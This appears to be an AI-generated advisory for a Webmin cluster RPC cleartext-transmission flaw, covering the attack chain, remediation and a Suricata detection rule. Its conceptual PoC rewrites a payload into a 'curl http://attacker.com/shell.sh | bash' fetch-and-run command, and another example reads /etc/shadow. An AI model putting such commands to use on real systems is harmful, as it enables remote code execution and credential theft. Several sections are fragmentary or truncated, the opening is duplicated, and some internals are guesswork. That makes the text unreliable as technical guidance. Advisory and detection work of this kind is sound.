CVE-2026-134647 — CWE-319
Webmin through 2.670 contains a cleartext transmission vulnerability in web-lib-funcs.pl and fastrpc.cgi that sends cluster RPC traffic over raw TCP despite SSL configuration. Network-positioned attackers can read the session ID and remote_eval payloads or alter calls in transit to execute code as root on managed servers.
Webmin through 2.670 contains a cleartext transmission vulnerability in web-lib-funcs.pl and fastrpc.cgi that sends cluster RPC traffic over raw TCP despite SSL configuration. Network-positioned attackers can read the session ID and remote_eval payloads or alter calls in transit to execute code as root on managed servers.
🎯 What is this vulnerability?
CVE-2026-134647 is a Cleartext Transmission of Sensitive Information (CWE-319) vulnerability in Webmin versions up to and including 2.670.
The core technical flaw lies in the interaction between the Webmin cluster management module and its underlying RPC (Remote Procedure Call) mechanism. Specifically, the files web-lib-funcs.pl and fastrpc.cgi are responsible for handling communication with remote servers in a Webmin cluster.
Despite the Webmin interface being configured to use SSL/TLS for the primary web session, the internal RPC traffic generated by these scripts is transmitted over raw, unencrypted TCP sockets. This creates a "split-channel" security failure:
1. The user authenticates securely via HTTPS.
2. The browser sends commands to fastrpc.cgi over HTTPS.
3. fastrpc.cgi (or the library it calls, web-lib-funcs.pl) opens a new, separate TCP connection to the target cluster node to execute the command.
4. This secondary connection is not encrypted, exposing the session ID and the remote_eval payload (which contains the actual command to be executed) to anyone on the network path.
This is not a traditional injection vulnerability (like SQLi or XSS) but a transport-layer security bypass. The application logic assumes that because the web interface is secure, the backend communication is also secure, which is false in this implementation.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Service Identification: An attacker scans for Webmin services, typically running on port 10000/TCP (default) or custom ports.
- Version Fingerprinting: Using tools like
nmapwith thehttp-enumscript or manual HTTP requests to/login.html, the attacker identifies the Webmin version. If the version is ≤ 2.670, the target is vulnerable. - Network Positioning: The attacker must be in a position to intercept traffic between the Webmin server and the cluster nodes. This could be: * A compromised host on the same LAN. * A rogue ARP responder (ARP spoofing). * A compromised network switch or router. * A man-in-the-middle (MitM) position in a DMZ or internal network segment.
2. Exploitation
The attacker does not need to authenticate to Webmin directly. Instead, they perform a Man-in-the-Middle (MitM) attack on the RPC channel.Step-by-Step Mechanics:
1. Interception: The attacker sets up a proxy or uses ARP spoofing to intercept TCP traffic between the Webmin server (acting as the RPC client) and the target cluster node (acting as the RPC server).
2. Session Hijacking/Replay: The attacker captures the cleartext RPC traffic. This traffic contains:
* A Session ID (used for authentication on the RPC channel).
* remote_eval payloads: These are Perl code snippets or shell commands that Webmin sends to be executed on the remote node.
3. Payload Injection/Modification:
* Read: The attacker can read sensitive data being transmitted (e.g., configuration files, user lists).
* Write/Execute: The attacker can modify the remote_eval payload in transit. For example, if the legitimate command is ls /etc, the attacker can change it to id; whoami; cat /etc/shadow.
* Injection: The attacker can inject entirely new remote_eval commands into the stream, leveraging the valid session ID to bypass authentication on the RPC channel.
Illustrative PoC (Conceptual):
Note: The exact RPC protocol format is proprietary to Webmin. The following is an illustrative example of the traffic pattern an attacker would target.
# Attacker uses a tool like `tcpdump` or a custom Python script to capture traffic
# on the network segment between Webmin and the cluster node.
# Example captured cleartext RPC packet (simplified):
# TCP 192.168.1.10:54321 -> 192.168.1.20:10000
# Payload:
# SESSION_ID: abc123xyz
# ACTION: remote_eval
# CODE: print "Hello from Webmin"
# Attacker modifies the payload in transit using a proxy (e.g., mitmproxy):
# SESSION_ID: abc123xyz
# ACTION: remote_eval
# CODE: system("curl http://attacker.com/shell.sh | bash")Key Technical Detail: The vulnerability is in fastrpc.cgi and web-lib-funcs.pl. These scripts likely use Perl's IO::Socket::INET or similar modules to open a raw TCP socket to the remote node without wrapping it in IO::Socket::SSL. The CVSS vector UI:R (User Interaction Required) suggests that the attacker needs to trigger the RPC call, which happens when an administrator performs an action in the Webmin UI that involves cluster management (e.g., "Run Command on All Nodes").
3. Post-Exploitation
root or has sudo privileges. The remote_eval function executes commands with the privileges of the Webmin service account. If Webmin is running as root, the attacker achieves root RCE on the target cluster node./etc/crontab, or add SSH keys.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
2. Workarounds (If Immediate Upgrade is Not Possible)
cluster module from the Webmin configuration.
* Blocking the RPC port (e.g., 10000) between the Webmin server and cluster nodes using firewall rules (iptables/nftables).
3. Detection
Zeek or Suricata to detect non-SSL traffic on this port./var/log/webmin.log) for unusual remote_eval commands. Look for commands that do not match typical administrative actions.Example Suricata Rule (Illustrative):
alert tcp $HOME_NET any -> $EXTERNAL_NET 10000 (msg:"Potential Cleartext Webmin RPC Traffic"; flow:to_server; content:"SESSION_ID"; nocase; classtype:policy-violation; sid:1000001; rev:1;)Note: This rule is illustrative. The exact port and content may vary. Adjust based on your environment.
⚠️ Urgency
Recommendation:
1. Immediate: Isolate Webmin and cluster nodes in a trusted network segment.
2. Short-term: Upgrade Webmin to the latest version.
3. Long-term: Implement network segmentation and monitoring for cleartext RPC traffic.
[🤖 CVE Professor AI Security Engine]